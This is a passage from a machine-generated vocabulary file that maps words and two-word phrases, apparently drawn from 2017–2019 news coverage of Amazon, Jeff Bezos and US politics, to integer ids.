53446, "ardent supporters": 53447, "largest day": 53448, "service contact": 53449, "alphabet staffers": 53450, "press nbc": 53451, "fed acted": 53452, "margin revenue": 53453, "week thisweekabc": 53454, "usni": 53455, "ferdinando giugliano": 53456, "whispers": 53457, "whodunit": 53458, "dwindling airbus": 53459, "movetonexttimeout settimeout": 53460, "rachel dolezal": 53461, "component": 53462, "thrilled carell": 53463, "sympathized": 53464, "strengthened": 53465, "baker center": 53466, "publishes transparency": 53467, "food pouches": 53468, "remove uncertainty": 53469, "germany verdi": 53470, "pinpoint particular": 53471, "employees relocated": 53472, "adamantly": 53473, "website rated": 53474, "jarige die": 53475, "little discernible": 53476, "swamp really": 53477, "previously published": 53478, "sourcetasos katopodis": 53479, "young black": 53480, "longstanding logjam": 53481, "1967": 53482, "wpp": 53483, "960x0 jpg": 53484, "pfoa": 53485, "city looking": 53486, "administration paid": 53487, "look love": 53488, "high paying": 53489, "93million bezos": 53490, "jets possibly": 53491, "forced separations": 53492, "payouts hit": 53493, "scary prospect": 53494, "amazon installs": 53495, "president requests": 53496, "washington read": 53497, "billion procurement": 53498, "exceed amazon": 53499, "hasn hid": 53500, "week listing": 53501, "sales erases": 53502, "looming packs": 53503, "1028et": 53504, "accurate amazon": 53505, "research amazon": 53506, "noisy progressive": 53507, "business fueled": 53508, "billion pounds": 53509, "columnist philip": 53510, "regulate opioid": 53511, "emerged ahead": 53512, "ford accuser": 53513, "shane smith": 53514, "hospital illinois": 53515, "campaign organizer": 53516, "growth forecast": 53517, "701": 53518, "tax companies": 53519, "deepti varma": 53520, "lawrence": 53521, "abrader": 53522, "trump political": 53523, "tesla motors": 53524, "alleged adventure": 53525, "online goliath": 53526, "villainous politician": 53527, "health setback": 53528, "past demarcations": 53529, "contracts behold": 53530, "marriage apropos": 53531, "says community": 53532, "919 billion": 53533, "capable": 53534, "leaves bezos": 53535, "ara\u00fajo calls": 53536, "m4 var": 53537, "employee receives": 53538, "million windfall": 53539, "americans mailboxes": 53540, "veteran center": 53541, "attended hillary": 53542, "broke ground": 53543, "succeed obama": 53544, "zinkes": 53545, "biggest questions": 53546, "carrier shipping": 53547, "including sorting": 53548, "amazon billions": 53549, "pubescent males": 53550, "vermont told": 53551, "ronald reagan": 53552, "open business": 53553, "incoming": 53554, "believe retail": 53555, "rachel needs": 53556, "congressional letters": 53557, "addled fixated": 53558, "strewn": 53559, "fiction book": 53560, "george maziarz": 53561, "alexa request": 53562, "uniformly": 53563, "amazon bestsellers": 53564, "commuting hours": 53565, "tax day": 53566, "ice investigations": 53567, "intervene read": 53568, "interesting work": 53569, "lauding amazon": 53570, "tax amnesty": 53571, "hill perched": 53572, "481": 53573, "help train": 53574, "kyo maclear": 53575, "backlog": 53576, "abject failure": 53577, "bank tsx": 53578, "taps unspoken": 53579, "readers couldn": 53580, "veronika nikulshina": 53581, "yorker recode": 53582, "away fake": 53583, "published flattering": 53584, "says ocasio": 53585, "related does": 53586, "subsidies elected": 53587, "preached": 53588, "lee worldwide": 53589, "american commerce": 53590, "hits book": 53591, "took swerve": 53592, "positively": 53593, "expedite": 53594, "bezos maintained": 53595, "discuss emerging": 53596, "loss new": 53597, "latest warning": 53598, "began attending": 53599, "globe service": 53600, "lobbying person": 53601, "basement filene": 53602, "research laboratories": 53603, "russell vought": 53604, "years attacking": 53605, "copies sold": 53606, "drug crisis": 53607, "largest pharmaceutical": 53608, "new methodology": 53609, "contributed net": 53610, "particularly energy": 53611, "roughly 130": 53612, "img_h 1542": 53613, "caravan shot": 53614, "controlled computers": 53615, "years google": 53616, "net wins": 53617, "phil bryant": 53618, "rossi": 53619, "tells jimcramer": 53620, "seeing lauren": 53621, "leave proposals": 53622, "amazonnews": 53623, "month data": 53624, "wildfires burn": 53625, "strategy change": 53626, "long distance": 53627, "epidemic": 53628, "shadowy": 53629, "market forces": 53630, "spain amazon": 53631, "360 showname": 53632, "community property": 53633, "time bloomberg": 53634, "open amazon": 53635, "riders fare": 53636, "store united": 53637, "china technology": 53638, "img_gettyflag": 53639, "stocks right": 53640, "mlb draft": 53641, "federal travel": 53642, "internet world": 53643, "property ip": 53644, "grape": 53645, "buying pillpack": 53646, "shows republicans": 53647, "leading player": 53648, "icon senator": 53649, "brennan says": 53650, "integrating": 53651, "service pre": 53652, "whims": 53653, "caps amazon": 53654, "iran iraq": 53655, "enforcement action": 53656, "reopening": 53657, "help patients": 53658, "863": 53659, "antitrust problem": 53660, "2017 michael": 53661, "google larry": 53662, "prostitution minutes": 53663, "hitting record": 53664, "left 10best": 53665, "house tomorrow": 53666, "everytown counts": 53667, "personal blog": 53668, "pesticides rainforest": 53669, "curb": 53670, "dipped nearly": 53671, "ramseur": 53672, "vendor choices": 53673, "traditional search": 53674, "publicly state": 53675, "process don": 53676, "surrounding working": 53677, "tyrone": 53678, "heavily subsidized": 53679, "assumes": 53680, "microphone remotely": 53681, "favourable stories": 53682, "valor econ\u00f4mico": 53683, "wealth indonesia": 53684, "global tree": 53685, "sent copy": 53686, "mock": 53687, "travel thriller": 53688, "contrived investigation": 53689, "loan benefits": 53690, "stock return": 53691, "site quotes": 53692, "becker revealed": 53693, "axios look": 53694, "government cash": 53695, "upcoming": 53696, "facial recognition": 53697, "growth investors": 53698, "canvas leather": 53699, "newly named": 53700, "conference obama": 53701, "member stacey": 53702, "amazon absorbed": 53703, "unfeasible": 53704, "massive presence": 53705, "2017 twitter": 53706, "dairy": 53707, "sneakily": 53708, "denuclearlized": 53709, "bryan fuller": 53710, "insiders home": 53711, "clip david": 53712, "working mom": 53713, "mocks donald": 53714, "individuals notably": 53715, "venerable": 53716, "beth pearce": 53717, "q4 aws": 53718, "saudi kingdom": 53719, "queens sculptor": 53720, "tariffs surrendering": 53721, "page spread": 53722, "privately attempted": 53723, "wearing bezos": 53724, "communist nation": 53725, "interesting bartiromo": 53726, "a4ee p8": 53727, "inter workings": 53728, "sent prices": 53729, "industry pardon": 53730, "wisely spend": 53731, "created cryptocurrency": 53732, "hoeft yuma": 53733, "highest beverage": 53734, "terrific job": 53735, "connections saudi": 53736, "venture christian": 53737, "scraped headlines": 53738, "sale just": 53739, "second fiscal": 53740, "people listing": 53741, "reasonable known": 53742, "talks productive": 53743, "empathetic young": 53744, "careers": 53745, "direct retailer": 53746, "george conway": 53747, "2017 win": 53748, "funds set": 53749, "easement": 53750, "indication whatsoever": 53751, "reuters quoting": 53752, "failures christine": 53753, "inflows slide": 53754, "enquirer person": 53755, "sellen ryan": 53756, "contenttype": 53757, "bay company": 53758, "night tweet": 53759, "amazon proposed": 53760, "packages regardless": 53761, "clothing lines": 53762, "newsletters page": 53763, "amazon means": 53764, "voluntary fare": 53765, "spending numbers": 53766, "governor read": 53767, "books despite": 53768, "shares camarda": 53769, "annually read": 53770, "longtime employers": 53771, "npr trump": 53772, "bp read": 53773, "case abramson": 53774, "goods electronics": 53775, "_trksid p2380057": 53776, "willie": 53777, "abilities": 53778, "new headquarters": 53779, "formulated": 53780, "story sailor": 53781, "iwas able": 53782, "hope jim": 53783, "998660306225201153": 53784, "supremacist literature": 53785, "lobbed criticism": 53786, "recode media": 53787, "including nordstrom": 53788, "complaints jimmy": 53789, "trump adjacent": 53790, "florida parkland": 53791, "207 american": 53792, "trump demanding": 53793, "julie brown": 53794, "customers intrigued": 53795, "grand central": 53796, "lawmaker slams": 53797, "portfolio hall": 53798, "supremacist called": 53799, "hearing room": 53800, "images photo": 53801, "society according": 53802, "amazon strictly": 53803, "escalate": 53804, "oppose allowing": 53805, "disinformation fake": 53806, "herera time": 53807, "wmt target": 53808, "stir resentment": 53809, "fallen kingdom": 53810, "new provision": 53811, "abish": 53812, "manley johnson": 53813, "ago leaders": 53814, "congressmembers jos\u00e9": 53815, "owner investment": 53816, "sanders expanding": 53817, "vietnam veteran": 53818, "workers educated": 53819, "mcsally conceded": 53820, "today sent": 53821, "cathedral named": 53822, "amazon dominated": 53823, "shiite militias": 53824, "torres": 53825, "hand source": 53826, "thinking amazon": 53827, "trump added": 53828, "just bought": 53829, "checks president": 53830, "real home": 53831, "olick nightly": 53832, "toll bridges": 53833, "brazilian civil": 53834, "common stock": 53835, "t1 a4ee": 53836, "class background": 53837, "ami ami": 53838, "initmeta": 53839, "layoff workers": 53840, "safe redundancy": 53841, "holds hearing": 53842, "kenmore appliances": 53843, "seattle resident": 53844, "crane": 53845, "mice release": 53846, "plastic guns": 53847, "residents regardless": 53848, "tabloids dishing": 53849, "offer quartz": 53850, "did pay": 53851, "slideshow false": 53852, "amazon soared": 53853, "sites unfairly": 53854, "biased": 53855, "stellar quarter": 53856, "mevissen rabobank": 53857, "dosomething": 53858, "etf nancy": 53859, "pay united": 53860, "ounce letters": 53861, "indiana middle": 53862, "cruelty": 53863, "opinion editorials": 53864, "response notes": 53865, "stress": 53866, "vegas bookmakers": 53867, "nayef dethroning": 53868, "sold 285": 53869, "million monthly": 53870, "posted press": 53871, "leak michael": 53872, "siri assistant": 53873, "awful history": 53874, "mail hope": 53875, "data vulnerable": 53876, "pleads": 53877, "huge online": 53878, "hurting california": 53879, "forgot bezos": 53880, "struck collusion": 53881, "priced plans": 53882, "targeting opens": 53883, "uu0wzyvqf2 charlie": 53884, "really making": 53885, "groups environmental": 53886, "election interference": 53887, "dominant online": 53888, "locks gain": 53889, "eligible items": 53890, "prices president": 53891, "leaders house": 53892, "making relatively": 53893, "workers john": 53894, "praised apple": 53895, "gulf": 53896, "coverage michael": 53897, "content bookmark": 53898, "zuckerberg lottery": 53899, "strange relationship": 53900, "zinke knew": 53901, "children arriving": 53902, "leaders gathered": 53903, "shared story": 53904, "storage platform": 53905, "enumerating": 53906, "assault doesn": 53907, "underpaid jeff": 53908, "desk": 53909, "acute flaccid": 53910, "unbiased organization": 53911, "ct 596": 53912, "biased facebook": 53913, "vocal criticism": 53914, "candidates qualified": 53915, "year printing": 53916, "respective quests": 53917, "beer alliance": 53918, "nadella listens": 53919, "fully understood": 53920, "termism created": 53921, "family lifestyles": 53922, "echo spot": 53923, "house based": 53924, "yewande": 53925, "ebay liable": 53926, "president inner": 53927, "makes inroads": 53928, "growing complaints": 53929, "tax code": 53930, "old information": 53931, "eric ulrich": 53932, "opened store": 53933, "baselessly": 53934, "movie star": 53935, "joining": 53936, "41st annual": 53937, "bloomberg billionaire": 53938, "hit 000": 53939, "including dubious": 53940, "drugmakers sure": 53941, "glow netflix": 53942, "mandalay bay": 53943, "detain": 53944, "server infrastructure": 53945, "current campus": 53946, "sawyer pointone": 53947, "dish": 53948, "allegedly filmed": 53949, "riverhead somalian": 53950, "underscored bipartisanship": 53951, "shutting gumball": 53952, "source projectsa": 53953, "story shared": 53954, "duzer": 53955, "death toll": 53956, "netease declined": 53957, "walzer president": 53958, "blog saying": 53959, "amazon accountable": 53960, "tariff effects": 53961, "includes good": 53962, "incarcerated": 53963, "framed pictures": 53964, "safe climate": 53965, "contradicts": 53966, "bids process": 53967, "india walks": 53968, "rising wages": 53969, "vocal": 53970, "enter valid": 53971, "ethics nightmare": 53972, "national taxpayers": 53973, "angelle appointed": 53974, "sue company": 53975, "distinct streams": 53976, "recount": 53977, "bloomingdale isn": 53978, "euro worth": 53979, "food production": 53980, "board ran": 53981, "limestone": 53982, "newest wacky": 53983, "logo flying": 53984, "yemen urged": 53985, "disincentivize": 53986, "carlyle": 53987, "slot known": 53988, "officials refuse": 53989, "clinton frame": 53990, "economic justice": 53991, "whatthe mayor": 53992, "treatment provider": 53993, "temperatures blasted": 53994, "interview ms": 53995, "says million": 53996, "responders updated": 53997, "transactional work": 53998, "bought calls": 53999, "savings rate": 54000, "unclassified service": 54001, "warned harley": 54002, "statements signaling": 54003, "effectively blackmailed": 54004, "issued restraining": 54005, "ownership tmz": 54006, "beijing afp": 54007, "trade higher": 54008, "fake blond": 54009, "attracts local": 54010, "rate amazon": 54011, "gaza": 54012, "business benefit": 54013, "robert swan": 54014, "savvy immigrants": 54015, "346": 54016, "straighten": 54017, "influence addiction": 54018, "alex wayne": 54019, "intimacy": 54020, "sully": 54021, "aviance cap": 54022, "confidential discounts": 54023, "isn government": 54024, "peaks revival": 54025, "asking amazon": 54026, "true members": 54027, "certain assets": 54028, "zydtv2ojir pic": 54029, "financials look": 54030, "party approach": 54031, "commerce pointing": 54032, "target hiked": 54033, "baically": 54034, "la plata": 54035, "mutually disdainful": 54036, "chang": 54037, "cadence fake": 54038, "return activity": 54039, "investing overseas": 54040, "major casino": 54041, "gospel": 54042, "rob jagodzinski": 54043, "gallus": 54044, "outside buffalo": 54045, "new cover": 54046, "expired year": 54047, "jeremy clarkson": 54048, "mafia likes": 54049, "owns 491": 54050, "people looking": 54051, "walmart parking": 54052, "term negative": 54053, "higher subscription": 54054, "toxic garbage": 54055, "compete economically": 54056, "tolled bridge": 54057, "chemical manufacturers": 54058, "tropical trump": 54059, "mansion beatriz": 54060, "bullying artificial": 54061, "resistance supporting": 54062, "criticizing founder": 54063, "indefinitely postpone": 54064, "marine industries": 54065, "overall wages": 54066, "watching width": 54067, "la bureau": 54068, "analysts consensus": 54069, "mu slowing": 54070, "descriptionplaintext sears": 54071, "computed": 54072, "replace price": 54073, "doctors offices": 54074, "square foot": 54075, "demand combined": 54076, "southerner wine": 54077, "lost major": 54078, "fulfillment erp": 54079, "money luckin": 54080, "tm low": 54081, "ofincoming": 54082, "massey": 54083, "amazon brand": 54084, "viewing ibm": 54085, "wasn right": 54086, "journal titled": 54087, "murder days": 54088, "taut thriller": 54089, "bed bath": 54090, "new insights": 54091, "worshiped": 54092, "trump advisor": 54093, "gaines artistic": 54094, "secretary kirstjen": 54095, "horns": 54096, "office respectively": 54097, "edwards director": 54098, "slansky editor": 54099, "poll conducted": 54100, "biological treatments": 54101, "school campus": 54102, "obtain users": 54103, "aws sales": 54104, "leads": 54105, "rummage sale": 54106, "power division": 54107, "cnbc bernie": 54108, "unfairly tell": 54109, "ending fines": 54110, "moday announced": 54111, "fraud senior": 54112, "announcer": 54113, "berlin": 54114, "redman": 54115, "middeninkomen kun": 54116, "cost cnn": 54117, "true delivery": 54118, "the_donald": 54119, "rightfully concerned": 54120, "executive satya": 54121, "ny member": 54122, "bring hq2": 54123, "customers purchase": 54124, "apple ebay": 54125, "tariff tensions": 54126, "cancer drug": 54127, "heard various": 54128, "business using": 54129, "contentid isqueue": 54130, "sixth straight": 54131, "benefit projects": 54132, "wcmh walmart": 54133, "lawmakers announced": 54134, "2018 fright": 54135, "tag": 54136, "spatula": 54137, "sanctuary": 54138, "company worldwide": 54139, "prompted questions": 54140, "wertheimer elizabeth": 54141, "groups humans": 54142, "payments platform": 54143, "liquidated": 54144, "continued efforts": 54145, "albert cheng": 54146, "truly extraordinary": 54147, "suqar desserts": 54148, "trump mind": 54149, "amazon domain": 54150, "wealth reported": 54151, "g0 i4": 54152, "disadvantaged": 54153, "announcement raising": 54154, "000 brother": 54155, "combating trafficking": 54156, "media today": 54157, "chief critic": 54158, "information provision": 54159, "state 87m": 54160, "kim_bak status": 54161, "today topped": 54162, "amazon direct": 54163, "severely punished": 54164, "anti george": 54165, "included links": 54166, "reconstituted": 54167, "rankings rig": 54168, "china endpoints": 54169, "fba shipment": 54170, "networks judith": 54171, "present cnp": 54172, "packages experts": 54173, "suppressing conservative": 54174, "plantations": 54175, "lead": 54176, "carlson breaks": 54177, "determined effort": 54178, "battered": 54179, "charges patients": 54180, "interviewed nervous": 54181, "capitalism": 54182, "erica werner": 54183, "media left": 54184, "story spacex": 54185, "1539546": 54186, "atlantic derek": 54187, "affleck disaster": 54188, "prioritize protecting": 54189, "carefully contorted": 54190, "billion fine": 54191, "jersey refugees": 54192, "add nashville": 54193, "suicides": 54194, "lawsuit oracle": 54195, "really quite": 54196, "robert kaiser": 54197, "crybaby wannabe": 54198, "small touch": 54199, "ngos": 54200, "responded haven": 54201, "republicans allegedly": 54202, "plan called": 54203, "johnson white": 54204, "office abuse": 54205, "bouncing higher": 54206, "wieser": 54207, "great nation": 54208, "cited private": 54209, "relevant evidence": 54210, "engulfing niagara": 54211, "packages internationally": 54212, "hitch": 54213, "businesses won": 54214, "join influential": 54215, "commute": 54216, "jaffray making": 54217, "morality": 54218, "year called": 54219, "quarter sales": 54220, "backlash glor": 54221, "bipartisan border": 54222, "trump considers": 54223, "people bolsonaro": 54224, "wikileak": 54225, "sexual wet": 54226, "company data": 54227, "warner spokesman": 54228, "reports took": 54229, "remains volatile": 54230, "postal inspection": 54231, "banks taxpayer": 54232, "conman": 54233, "greatest shows": 54234, "house wants": 54235, "unrestricted": 54236, "personalization": 54237, "additional 600": 54238, "amazon meet": 54239, "postpone hearing": 54240, "secure personal": 54241, "recent paris": 54242, "elected bannon": 54243, "2018 requiring": 54244, "unflattering": 54245, "capital backed": 54246, "trump owned": 54247, "did surprise": 54248, "johnson sr": 54249, "visiting": 54250, "unfairly targets": 54251, "jobs aplenty": 54252, "droop": 54253, "zuker explains": 54254, "katz": 54255, "banner month": 54256, "julie": 54257, "tabloid labelled": 54258, "exempt certain": 54259, "including display": 54260, "years attracted": 54261, "biggest software": 54262, "long searching": 54263, "ohio fed": 54264, "pedophile": 54265, "plastic": 54266, "findlay": 54267, "alternative cures": 54268, "learning engines": 54269, "slot referred": 54270, "gianni": 54271, "moll\u00e0": 54272, "near jared": 54273, "kam": 54274, "eliana murillo": 54275, "memoir spicer": 54276, "stumbled": 54277, "misgivings": 54278, "public remains": 54279, "leverage ratio": 54280, "cummings ranking": 54281, "potions": 54282, "year demand": 54283, "reeling": 54284, "future specifically": 54285, "vast expanse": 54286, "zapolsky david": 54287, "unveiling gives": 54288, "gem": 54289, "errors": 54290, "spellings used": 54291, "cnnpolitical": 54292, "america 157": 54293, "antibiotic resistant": 54294, "jacobs jenniferjjacobs": 54295, "dislocation": 54296, "scholar": 54297, "ads allegedly": 54298, "m81dr1kbgl": 54299, "stocks bear": 54300, "rule maloney": 54301, "opprobrium": 54302, "sell airbus": 54303, "born inside": 54304, "minor success": 54305, "mersey gateway": 54306, "indicator readings": 54307, "make small": 54308, "coverage displeases": 54309, "9l63chza7h fearless": 54310, "senate": 54311, "quarantined area": 54312, "lindsey piegza": 54313, "company richer": 54314, "neighborhood blog": 54315, "start transitioning": 54316, "america highways": 54317, "spur investment": 54318, "monitor arms": 54319, "live stock": 54320, "current commerce": 54321, "big corporations": 54322, "time jobs": 54323, "reports actor": 54324, "joe lewis": 54325, "jedi findings": 54326, "booker sanders": 54327, "stock slipped": 54328, "officers": 54329, "trump vaults": 54330, "tabloid committed": 54331, "low number": 54332, "new lower": 54333, "lg v35": 54334, "deals 01am": 54335, "spending hikes": 54336, "reception desk": 54337, "credit sizes": 54338, "target nyse": 54339, "movimiento": 54340, "harassment claims": 54341, "bipartisan criticism": 54342, "financially cummings": 54343, "reminded": 54344, "breaks having": 54345, "internet": 54346, "military cemetery": 54347, "stares": 54348, "helsinki president": 54349, "lies great": 54350, "online gambling": 54351, "getting briefed": 54352, "treats workers": 54353, "viverito fix": 54354, "foxconn otcmkts": 54355, "emarketer earlier": 54356, "piece set": 54357, "old institution": 54358, "washington bolsonaro": 54359, "spending don": 54360, "account trulyextraordinary": 54361, "oline cogdill": 54362, "bad publicity": 54363, "wildfires thanks": 54364, "george stephanopoulos": 54365, "target store": 54366, "exits": 54367, "executive bruce": 54368, "441 shares": 54369, "nuclear arsenal": 54370, "store does": 54371, "growing national": 54372, "doesn include": 54373, "pair say": 54374, "amazon crashed": 54375, "carell concludes": 54376, "filings microsoft": 54377, "chances": 54378, "trump arizona": 54379, "darcy": 54380, "r4ee j5q": 54381, "time delves": 54382, "nasty women": 54383, "hardy": 54384, "descriptionplaintext": 54385, "husband employees": 54386, "antitrust fervor": 54387, "laura wasser": 54388, "saban": 54389, "don post": 54390, "business person": 54391, "taken steps": 54392, "fulltime": 54393, "year justice": 54394, "opposed": 54395, "whirlwind engagement": 54396, "mcgehee clemmons": 54397, "cowardly": 54398, "llc told": 54399, "safe": 54400, "longest bear": 54401, "direct troll": 54402, "revealing memoir": 54403, "affairs bezos": 54404, "providing adequate": 54405, "grave thenational": 54406, "shipping options": 54407, "essentially collecting": 54408, "disputes manafort": 54409, "fedex stay": 54410, "mcd": 54411, "security staff": 54412, "2019 joining": 54413, "mergers expansions": 54414, "supremacy movement": 54415, "corporations congress": 54416, "competitor using": 54417, "picks": 54418, "china ministry": 54419, "bought metapack": 54420, "zurcher": 54421, "sright amazon": 54422, "owned company": 54423, "past years": 54424, "s2": 54425, "stocks driven": 54426, "china russia": 54427, "richard grant": 54428, "crisis management": 54429, "sales walmart": 54430, "pace profitable": 54431, "haldimand": 54432, "relatively standard": 54433, "assets equivalent": 54434, "crossing tracks": 54435, "breaking christmas": 54436, "mccabe minutes": 54437, "nato pullout": 54438, "cassidy right": 54439, "obama served": 54440, "packages clear": 54441, "extension misery": 54442, "corporate blog": 54443, "tur little": 54444, "treasury debt": 54445, "conservative nonprofits": 54446, "312": 54447, "prevent amazon": 54448, "avoid tax": 54449, "modified foods": 54450, "inflected": 54451, "cup party": 54452, "modern teachings": 54453, "destinies": 54454, "shares zurcher": 54455, "telly": 54456, "alsdorf": 54457, "performer cbs": 54458, "column men": 54459, "pizza pasta": 54460, "agency denied": 54461, "casone": 54462, "network wish": 54463, "foto sourcegregg": 54464, "virtually certain": 54465, "pulse": 54466, "dictating": 54467, "amd worth": 54468, "nashville operations": 54469, "pence timeline": 54470, "rides romantic": 54471, "secretary betsy": 54472, "checkout free": 54473, "man anangbhai": 54474, "25357 bought": 54475, "courier news": 54476, "burrito eating": 54477, "quite bit": 54478, "reviewers": 54479, "shorts": 54480, "wrong order": 54481, "nomadix pound": 54482, "wilson webb": 54483, "remained lit": 54484, "touting violations": 54485, "rooney hamilton": 54486, "mallory blount": 54487, "decline similar": 54488, "bielamowicz president": 54489, "fortunately trump": 54490, "conducted outreach": 54491, "cited hitler": 54492, "funny country": 54493, "1005et": 54494, "memory chip": 54495, "friend email": 54496, "talks conclude": 54497, "normal just": 54498, "supposed abuse": 54499, "cast ballots": 54500, "budget cloud": 54501, "baritone voice": 54502, "taxpayer help": 54503, "security detracts": 54504, "technology assists": 54505, "conduct intended": 54506, "term path": 54507, "summation": 54508, "sfly sector": 54509, "office versus": 54510, "release duty": 54511, "headquarters far": 54512, "immigrant community": 54513, "amazon georgia": 54514, "200 acre": 54515, "bodyguard": 54516, "emergency government": 54517, "church leader": 54518, "bad actor": 54519, "62b": 54520, "instance told": 54521, "sweeney words": 54522, "initiative olsavsky": 54523, "uber eats": 54524, "221670": 54525, "educationfrom troubled": 54526, "holiday planning": 54527, "tracing counting": 54528, "immigration policies": 54529, "chocolate potatoes": 54530, "520": 54531, "developers association": 54532, "philidelphia": 54533, "salt fat": 54534, "expire unused": 54535, "theactivism": 54536, "trump questionable": 54537, "inclusion agenda": 54538, "spinning": 54539, "soon venhuizen": 54540, "bezos backlash": 54541, "merely dictating": 54542, "british film": 54543, "gay city": 54544, "trial emma": 54545, "davis congressional": 54546, "scott galloway": 54547, "laxative": 54548, "sales start": 54549, "gap year": 54550, "151 ken": 54551, "spent politico": 54552, "kohl": 54553, "arabia used": 54554, "war escalation": 54555, "blast kills": 54556, "real goals": 54557, "chinese purchases": 54558, "populous": 54559, "gunman": 54560, "clothes water": 54561, "live tv": 54562, "king small": 54563, "kohl starbucks": 54564, "ceo nadia": 54565, "rhetorical weapon": 54566, "decay steven": 54567, "imposed decade": 54568, "antitrust enforcer": 54569, "becky": 54570, "amazon purchased": 54571, "duration sourcelink": 54572, "lies meant": 54573, "solid": 54574, "levels rise": 54575, "people active": 54576, "cities concerned": 54577, "rent control": 54578, "julia vitale": 54579, "report rightly": 54580, "getting slammed": 54581, "device cars": 54582, "antitrust laws": 54583, "admit 30000": 54584, "america amazon": 54585, "158 shares": 54586, "chips html": 54587, "partners today": 54588, "freely shop": 54589, "awards began": 54590, "maker expects": 54591, "culturally accepted": 54592, "gap set": 54593, "industry forbes": 54594, "southwest posted": 54595, "sites owned": 54596, "platform read": 54597, "todd wynn": 54598, "commercially": 54599, "praised fox": 54600, "environmental agency": 54601, "versus apple": 54602, "amazon represented": 54603, "langford": 54604, "400 washington": 54605, "seeking common": 54606, "setisvideocollection": 54607, "announcement early": 54608, "database db2": 54609, "leading press": 54610, "andrew cuomo": 54611, "starr report": 54612, "harney 2018": 54613, "share cah": 54614, "distribution facility": 54615, "getshowinfo": 54616, "term buy": 54617, "predecessor conrad": 54618, "market moves": 54619, "dangerous places": 54620, "hydropower illegal": 54621, "toddler 40am": 54622, "000 customers": 54623, "form union": 54624, "economic turmoil": 54625, "hopeless": 54626, "market capitalism": 54627, "independently confirmed": 54628, "rihanna": 54629, "kjgvlgygyk shauna": 54630, "massive slowdowns": 54631, "thanksgiving plans": 54632, "twitter signed": 54633, "chaffetz": 54634, "subsequent conversation": 54635, "structured format": 54636, "custody": 54637, "environmental": 54638, "utilizing employees": 54639, "police determine": 54640, "split positions": 54641, "occasionally calling": 54642, "therapist obsessed": 54643, "established brands": 54644, "140 degrees": 54645, "unease embedded": 54646, "2018 world": 54647, "led lantern": 54648, "converting earth": 54649, "floated": 54650, "sci": 54651, "royally rip": 54652, "offered unique": 54653, "morally superior": 54654, "ryan wis": 54655, "technology potential": 54656, "nervous": 54657, "notoriously sketchy": 54658, "gun called": 54659, "2017 hope": 54660, "win infestitation": 54661, "long railed": 54662, "computing benefiting": 54663, "home goods": 54664, "briefly hit": 54665, "aiello": 54666, "silence kurt": 54667, "vantaa": 54668, "nixon playbook": 54669, "bending": 54670, "workers businesses": 54671, "spirits": 54672, "distinctly bezos": 54673, "companies licensing": 54674, "street reuters": 54675, "political aims": 54676, "public campaign": 54677, "varadkar": 54678, "amazon salary": 54679, "tackling drug": 54680, "rsn portfolio": 54681, "australian mines": 54682, "murdered setting": 54683, "questions buzzing": 54684, "amazon introduction": 54685, "hasn shamed": 54686, "chyna": 54687, "peace sign": 54688, "search history": 54689, "2017 previously": 54690, "stone trump": 54691, "begs": 54692, "amazon audible": 54693, "traitor mother": 54694, "hoots": 54695, "face billions": 54696, "building store": 54697, "decibels": 54698, "generally screwing": 54699, "local services": 54700, "taking significant": 54701, "staircase netflix": 54702, "representative pointed": 54703, "options include": 54704, "alexander tenn": 54705, "cheryl tiegs": 54706, "stagnating incomes": 54707, "complimentary": 54708, "filings suggests": 54709, "collaboration debuted": 54710, "fomented": 54711, "pitchfork drawn": 54712, "handle parts": 54713, "high yield": 54714, "old bonwit": 54715, "mchugh helms": 54716, "empowering hundreds": 54717, "manager sued": 54718, "china compared": 54719, "mile": 54720, "trail differs": 54721, "levin liberty": 54722, "california emergency": 54723, "overseen start": 54724, "series makes": 54725, "unauthorized content": 54726, "leavenworth penitentiary": 54727, "companies local": 54728, "directly impact": 54729, "blessed": 54730, "rosen": 54731, "institutional facebook": 54732, "conger staffers": 54733, "rise breaking": 54734, "suisse": 54735, "optimizing products": 54736, "senior pastor": 54737, "offering new": 54738, "wages sen": 54739, "inhumane conditions": 54740, "blackout beijing": 54741, "roared": 54742, "squash": 54743, "intolerant group": 54744, "steve stockman": 54745, "wouldn realistically": 54746, "votes scheme": 54747, "observation": 54748, "myles grove": 54749, "web changes": 54750, "green takes": 54751, "shoulder dictated": 54752, "ami practices": 54753, "built trump": 54754, "state spent": 54755, "epa": 54756, "disconnect creates": 54757, "broader spillover": 54758, "intended": 54759, "post daily": 54760, "bezos investment": 54761, "thai navy": 54762, "implant": 54763, "worth bezos": 54764, "guidance bezos": 54765, "reserve raise": 54766, "immiseration": 54767, "angeles celebration": 54768, "sr keywords": 54769, "money using": 54770, "paying close": 54771, "stop community": 54772, "grossi": 54773, "dweller fashion": 54774, "king right": 54775, "principles long": 54776, "softer": 54777, "nearly billion": 54778, "market indicator": 54779, "borne": 54780, "mail ballots": 54781, "senior program": 54782, "american adults": 54783, "mean amazonis": 54784, "world scrawny": 54785, "social behavior": 54786, "indicating mcdonald": 54787, "innocent": 54788, "story born": 54789, "covers cameroon": 54790, "park chan": 54791, "bookstore evolved": 54792, "live sketch": 54793, "means trump": 54794, "nomination": 54795, "ahead integrating": 54796, "german distribution": 54797, "repeated amazon": 54798, "frank raffaele": 54799, "suckers hawaiian": 54800, "released task": 54801, "q2 2018": 54802, "wart": 54803, "ignoring": 54804, "nyc mayor": 54805, "victory": 54806, "including trucking": 54807, "millionth": 54808, "fee send": 54809, "spicer upcoming": 54810, "cia training": 54811, "obtained salacious": 54812, "stays secret": 54813, "2016 founded": 54814, "basically tell": 54815, "derided": 54816, "pregnancy maternity": 54817, "elementary change": 54818, "promptly bought": 54819, "year red": 54820, "interviewed stone": 54821, "probability weighted": 54822, "senator jon": 54823, "gained tomi": 54824, "political cover": 54825, "address expert": 54826, "builds just": 54827, "firm gartner": 54828, "interviews thanks": 54829, "stefanik": 54830, "amazon owners": 54831, "eponymous 1985": 54832, "battling": 54833, "denial": 54834, "ethical boundaries": 54835, "everybodys": 54836, "trump locations": 54837, "realizing beijing": 54838, "davao city": 54839, "middle right": 54840, "selling creepy": 54841, "kevin kossowan": 54842, "knock national": 54843, "short supply": 54844, "assembled": 54845, "known campaign": 54846, "server719399": 54847, "weather break": 54848, "tragedy sarah": 54849, "jokingly suggests": 54850, "media agreement": 54851, "blogger": 54852, "immediately brought": 54853, "tpv grew": 54854, "499 people": 54855, "shanghai composite": 54856, "including afro": 54857, "xi jinping": 54858, "huawei 5g": 54859, "measurably easier": 54860, "doctored": 54861, "unused": 54862, "24m": 54863, "versa": 54864, "tribal": 54865, "efficiencies read": 54866, "pillpack": 54867, "adversely affecting": 54868, "year fan": 54869, "deserve closer": 54870, "shadow moon": 54871, "demands government": 54872, "prominent decision": 54873, "pushed postmaster": 54874, "e8 c2x": 54875, "festival 